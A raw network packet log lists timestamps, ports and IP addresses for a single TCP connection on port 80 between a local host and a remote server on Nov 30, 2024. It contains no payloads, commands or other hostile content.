Nov 30, 2024 05:00:13.198425055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.198532104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.198545933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.199672937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.199729919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.199733973 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.200884104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.200983047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.201034069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.202071905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.202109098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.202172995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.203454971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.203540087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.203563929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.204545021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.204627991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.204662085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.205748081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.205846071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.205873013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.206979036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.207056046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.207092047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.208198071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.208328962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.208359003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.209418058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.209470034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.209517956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.210656881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.210805893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.210820913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.211875916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.211978912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.211992025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.213068008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.213167906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.213191032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.214308023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.214356899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.214432955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.215533018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.215617895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.215648890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.216763020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.216816902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.216854095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.217912912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.218040943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.238276005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.238389015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.238483906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.238867998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.238971949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.239016056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.240101099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.240212917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.240262985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.241317034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.241429090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.241480112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.242548943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.242660999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.242721081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.243767023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.243882895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.243944883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.244982958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.245053053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.245098114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.363248110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.363377094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.363462925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.363878012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.364026070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.364073038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.365088940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.365175962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.365217924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.366405010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.366684914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.366745949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.366760015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.367917061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.367974997 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.367985964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.368870974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.368926048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.368964911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.370148897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.370214939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.370235920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.371293068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.371337891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.371403933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.372531891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.372597933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.372629881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.373737097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.373821974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.373872042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.374970913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.375025034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.375062943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.376187086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.376313925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.376318932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.377396107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.377463102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.377482891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.378623962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.378698111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.378729105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.379858017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.379967928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.379993916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.381093979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.381143093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.381187916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.382306099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.382389069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.382421017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.383544922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.383656979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.383671045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.384743929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.384857893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.384885073 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.385977030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.386061907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.386091948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.387188911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.387243032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.387301922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.388438940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.388498068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.388585091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.389647961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.389714003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.389753103 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.390877008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.390994072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.391001940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.392097950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.392205954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.392206907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.393296957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.393387079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.393413067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.394541025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.394599915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.394643068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.395759106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.395814896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.395831108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.397005081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.397068977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.397133112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.398215055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.398283958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.398344040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.399415970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.399455070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.399473906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.400644064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.400727034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.400760889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.401868105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.401926994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.401961088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.403078079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.403162956 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.403203964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.404311895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.404364109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.404434919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.405541897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.405602932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.405615091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.406779051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.406857014 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.406889915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.407978058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.408040047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.408090115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.409214020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.409279108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.409312010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.410430908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.410501003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.410540104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.411657095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.411744118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.411763906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.412856102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.412905931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.412957907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.414099932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.414155006 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.414187908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.415329933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.415410042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.415421009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.416533947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.416625023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.416644096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.417758942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.417818069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.417886019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.418951988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.419015884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.439574957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.439670086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.439713955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.440102100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.440346003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.440447092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.440498114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.441574097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.441679001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.441679955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.442812920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.442904949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.442905903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.444042921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.444113970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.444149971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.445502043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.445512056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.445564032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.446480036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.446547985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.565208912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.565272093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.565316916 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.565803051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.565902948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.565948009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.567099094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.567111015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.567154884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.568203926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.568618059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.568660021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.568723917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.569869995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.569933891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.570029974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.571058989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.571099043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.571182966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.572303057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.572346926 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.572422981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.573528051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.573575974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.573596001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.574718952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.574775934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.574846029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.575989962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.576045036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.576086998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.577289104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.577302933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.577348948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.578389883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.578459978 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.578495026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.579616070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.579684019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.579720020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.580918074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.580956936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.581022978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.582124949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.582135916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.582180977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.583276033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.583319902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.583384037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.584539890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.584588051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.584628105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.585766077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.585810900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.585875988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.586981058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.587038994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.587090969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.588176966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.588212967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.588293076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.589406013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.589468002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.589494944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.590655088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.590703011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.590743065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.591852903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.591896057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.591965914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.593060017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.593111992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.593154907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.594305992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.594367027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.594392061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.595524073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.595575094 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.595611095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.596744061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.596796989 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.596849918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.597951889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.598042011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.598046064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.599170923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.599230051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.599265099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.600419044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.600466967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.600522041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.601633072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.601672888 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.601737022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.602859974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.602883101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.602935076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.604084969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.604130983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.604197025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.605324030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.605386019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.605412960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.606515884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.606575966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:13.606616974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:13.607754946 CET	80	49732	141.8.197.146	192.168.2.4
